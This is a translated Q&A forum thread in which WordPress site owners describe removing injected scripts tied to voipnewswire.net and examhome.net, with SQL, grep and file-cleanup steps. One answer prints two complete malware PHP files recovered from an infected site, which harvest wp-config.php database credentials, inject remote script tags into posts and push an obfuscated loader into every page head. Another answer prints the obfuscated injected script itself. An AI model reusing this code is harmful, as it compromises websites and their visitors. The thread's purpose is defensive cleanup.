【问题标题】:How to delete script injected on wordpress site: ads.voipnewswire.net?如何删除在 wordpress 网站上注入的脚本:ads.voipnewswire.net?
【发布时间】:2019-02-16 08:24:19
【问题描述】:

我的 wordpress 网站到处都有这些脚本,我删除了很多,但仍有一些恶意软件广告被重定向。

有人知道如何解决这个问题吗?

脚本有这个链接:ads.voipnewswire.net

【问题讨论】:

  • 最适合security.stackexchange.com的问题
  • 这可能是由于编码不良(安全方面)或许多其他因素造成的,您可以在其他 Stack Exchange 站点获得更好的帮助。
  • 自从 3 天以来我得到了确切的问题。该恶意软件即使在删除了 wordpress 实例中感染的所有 .php 和 .js 后,仍会继续返回。第二天我发现 WP 数据库中的所有帖子,表 wp_posts 都充满了带有 voipnewswire 链接的脚本。我因此删除了帖子中的所有脚本,它们现在第三天干净了。问题是,今天早上,第三天,我仍然看到我的许多域和子域,所有 php 和 js 文件都充满了代码:

标签: wordpress ads malware


【解决方案1】:

今天早上我在我的两个页面上遇到了同样的问题,在对我的文件和数据库进行了大量调查后,我发现恶意软件所做的是更改我的 js 文件,添加一个编码脚本并在每个页面末尾添加另一个脚本在我的数据库的 wp_posts 表上发帖。

我基本上通过两个步骤解决了这个问题:

首先:使用 PHPMyadmin 或任何客户端访问您的数据库(Mysql)并输入:

UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://cdn.examhome.net/cdn.js?ver=1.0.5' type='text/javascript'></script>", " ")

它的作用是删除您桌子上所有出现的恶意软件注入。

注意: 搜索的“?ver=1.0.5”部分可以更改,在开始加载时和重定向之前使用“Ctrl+U”检查您的页面代码,搜索“cdn.examhome.net”或“ads.voipnewswire.net”或“eval(String.fromCharCode...”并检查恶意软件js的版本,以便在上面的db查询中更改它。

第二:转到您的文件管理器并将所有文件压缩为 zip 或类似文件。下载压缩文件并在您的计算机上解压,使用 Notepad++(sublimetext 和其他可以提供帮助,但我推荐 Notepad++)并使用该目录上的高级搜索来替换所有文档中的空白或空格:

this is an image of how the replacement looks on Notepad++ (in Spanish)

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 32, 125));

注意:里面的数字是可以变化的,但是总是以eval(String.fromCharCode()开头的,不用担心,wordpress或者插件的核心js都没有用到这个,所以你可以搜索任何匹配并复制其中的数字以完成替换语句。

然后再次压缩它,删除所有 public_html 内容并重新上传压缩文件并将其提取到 public_html 根目录上,然后完成。

有了这一切,我的两个 Wordpress 页面都恢复了正常,希望它可以帮助你。祝你好运!

【讨论】:

    【解决方案2】:

    我帮助一个朋友解决了这个问题,并决定用我的经验帮助一个社区,以解决 WordPress 文件中这种令人讨厌的恶意软件,我发现恶意软件被注入到我的案例 /wp-content 中的一个文件夹中/uploads/ 文件夹作为没有扩展名的文件。

    我发现了两个文件(php 文件):

    第一个文件公开“wp-config.php”以及所有密钥和数据库详细信息,并将examhome.net 脚本注入到post_content 表中——下面是代码。

        <?php echo ":#009009#:";
        $file_to_search = "wp-config.php";
    
        @search_file($_SERVER['DOCUMENT_ROOT']."/../../../../..",$file_to_search);
        @search_file($_SERVER['DOCUMENT_ROOT']."/../../../..",$file_to_search);
        @search_file($_SERVER['DOCUMENT_ROOT']."/../../..",$file_to_search);
        @search_file($_SERVER['DOCUMENT_ROOT']."/../..",$file_to_search);
        @search_file($_SERVER['DOCUMENT_ROOT']."/..",$file_to_search);
        @search_file($_SERVER['DOCUMENT_ROOT'],$file_to_search);
    
        function search_file($dir,$file_to_search){
    
        $files = scandir($dir);
    
        foreach($files as $key => $value){
    
            $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    
            if(!is_dir($path)) {
                if (strpos($value,$file_to_search) !== false) {
    
                    show_sitenames($path);
    
    
    
                }
    
            } else if($value != "." && $value != "..") {
    
                search_file($path, $file_to_search);
    
            }  
         } 
        }
    
        echo ":#009009#:";
    
    
    
        function show_sitenames($file){
            $content = @file_get_contents($file);
            if(strpos($content, "DB_NAME") !== false) {
    
    
            $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
            $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
            $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
            $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);
    
    
        // Create connection
        $conn = new mysqli($host, $user, $pass);
    
        // Check connection
        if ($conn->connect_error) {
          echo $conn->connect_error;
        } else { 
    
    
        $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
        $result = $conn->query($q);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]."  LIMIT 1 ";
            $result2 = $conn->query($q2);
            if ($result2->num_rows > 0) {
                while($row2 = $result2->fetch_assoc()) {
                    $val = $row2['post_content'];
                    if(strpos($val, "examhome") === false){
    
                        echo "nothing:".$file."\n";
    
                        $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://cdn.examhome.net/cdn.js?ver=1.0.88' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%examhome%'";
                        $conn->query($q3);
    
                    } else {
    
                        echo "already exist:".$file."\n";
                    }
                }
            } else {
            }
            }
        } else {
        }
        $conn->close();
        }
        }
        }
    
        function get_var_reg($pat,$text) {
    
            if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
            {
                return $matches[1][0];
            }
    
            return "";
        }
    
    
        exit();
    

    第二个文件在执行时将下面的代码(js 脚本)递归地注入到 js 文件中的“head”部分。 该脚本还将文件的权限更改为777,意思是读写

    在这个阶段,您的系统已经受到威胁,无论您从文件中删除脚本多少次,他们都可以完全访问系统,因为“wp-config.php”详细信息早先已受到威胁,这意味着他们现在可以访问您的 wp-admin 了。

    <?php $a = 'find / -type f -name "*" | xargs grep -rl "<head"';
    $l1 = '<script language=javascript>var _0xfcc4=["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x37\x38\x39","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x6C\x65\x6E\x67\x74\x68"];var url=String[_0xfcc4[0]](104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 108, 101, 97, 114, 110, 105, 110, 103, 116, 111, 111, 108, 107, 105, 116, 46, 99, 108, 117, 98, 47, 108, 105, 110, 107, 46, 112, 104, 112, 63, 118, 101, 114, 61, 49);var get_text=function httpGet(_0x3bc1x4){var _0x3bc1x5= new XMLHttpRequest();_0x3bc1x5[_0xfcc4[2]](_0xfcc4[1],_0x3bc1x4,false);_0x3bc1x5[_0xfcc4[3]](null);return _0x3bc1x5[_0xfcc4[4]]};var text=get_text(url);if(text!= String[_0xfcc4[0]](110,117,108,108)&& text[_0xfcc4[5]](String[_0xfcc4[0]](104,116,116,112,115,58,47,47))>  -1){var a=function(){var _0x3bc1x8=document[_0xfcc4[6]](String[_0xfcc4[0]](115,99,114,105,112,116));_0x3bc1x8[_0xfcc4[7]]= String[_0xfcc4[0]](116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);_0x3bc1x8[_0xfcc4[8]]= true;_0x3bc1x8[_0xfcc4[9]]= _0xfcc4[10];_0x3bc1x8[_0xfcc4[11]]= text;document[_0xfcc4[13]](String[_0xfcc4[0]](104,101,97,100))[0][_0xfcc4[12]](_0x3bc1x8)};var scrpts=document[_0xfcc4[13]](_0xfcc4[14]);var n=true;for(var i=scrpts[_0xfcc4[15]];i--;){if(scrpts[i][_0xfcc4[9]]== _0xfcc4[10]){n= false}};if(n== true){a()}}</script>';
    
    
    
    $t = shell_exec($a);
    $t = explode("\n", trim($t));
    foreach($t as $f){
    
    $g = file_get_contents($f);
    if (strpos($g, '0xfcc4') !== false) {
       echo "e:".$f;
    } else {
    $g = file_get_contents($f);
    $g = str_replace("<head>","<head>".$l1,$g);
    $g = str_replace("</head>",$l1."</head>",$g);
    @system("chmod 777 ".$f);
    @file_put_contents($f,$g);
    $g = file_get_contents($f);
    if (strpos($g, '0xfcc4') !== false) {
       echo $f;
    } 
    }
    }
    echo ":#009009#:";
    

    重要的是不要使用复制器插件,因为它似乎有一个 SQL 注入孔,如果你的系统中确实有它,请将其删除。 您可以使用 grep 命令来识别受感染的文件,如下所示:

    • sudo grep -rl "examhome.net" /var/www/html/ |更多

    • sudo grep -r "eval(String.fromCharCode(118, 97" /var/www/html/ | 更多

    • 最后使用 grep 和 sed 命令可以识别并用空格替换受感染的代码。

    我真的希望这可以帮助其他人解决此问题。这不是最终解决方案,因为此恶意软件蠕虫正在更新,我仍在调查此问题。

    戴夫

    免责声明:使用本文中的信息是您的责任!

    【讨论】:

      【解决方案3】:

      最常见的问题是对 wp_options 表的注入,该列类似于

      eval(String.fromCharCode(118, 97, 114, 32, 100,
      

      所以要找到这个第一个导出你的数据库,用编辑器打开它并搜索字符串“eval(String.fromCharCode(118, 97, 114, 32, 100," , 下一步是删除包含该字符串的行从数据库中,您很可能会在 wp_options 表中找到它

      【讨论】:

      • sorry 表示一行类似于 eval(String.fromCharCode(118, 97, 114, 32, 100,
      【解决方案4】:

      由于很明显您已被入侵,我首先建议您恢复到入侵之前的网站备份(如果您有的话)。

      接下来,我建议您更改网站的所有密码(主机、ftp、数据库、Wordpress 等)。

      如果您没有备份,我会跟进检查您的 Wordpress 安装(包括插件和模板)中的每个 PHP(可能还有 Javascript)文件,以查找网站上是否还有其他地方。

      最后,如果您没有备份,我会检查所有帖子、页面和 cmets,以确保内容中没有添加任何包含(只是为了确定)。

      【讨论】:

        【解决方案5】:

        您可以采用这种方法,但要小心:

        首先备份您的 wordpress 数据库,然后在任何代码编辑器(如 notepad++ 等)中打开该 backup.sql 文件,然后搜索字符串,如“https://s2.voipnewswire.net/s2.js\” type=\ 'text/javascript\'>" 并用空格替换所有出现的地方,您的问题就解决了。

        现在恶意脚本已从您的所有 wordpress 网站内容中删除,您可以对其他网站文件执行相同操作。

        【讨论】:

          【解决方案6】:

          我的 wordpress 缓存 (wp-content/cache/page_enhanced/) 不断生成主页和其他页面,其中包含来自其他人的不安全脚本。

          例如: /wp-content/i.php?ver=5.5.1(www.rocpellami.com) /plugins/i.php?ver=5.5.1(www.brpets.com) /modules/i.php?ver=5.5.1(cartavariada.com) /wp-content/i.php?ver=5.5.1(zazalanoisette.com)

          当我查看页面源时,那些注入的文件可以吗?

          【讨论】:

            【解决方案7】:

            试试这个。

            从您的 wp 管理仪表板,转到主题编辑器 > theme-header.php 文件(或类似的文件)以查找并删除其中注入的脚本。

            如果您使用的是子主题,请确保先导航到父主题。

            【讨论】:

              猜你喜欢
              • 2017-09-17
              • 1970-01-01
              • 1970-01-01
              • 2016-04-17
              • 2019-01-12
              • 1970-01-01
              • 2020-12-17
              • 1970-01-01
              • 1970-01-01
              相关资源
              最近更新 更多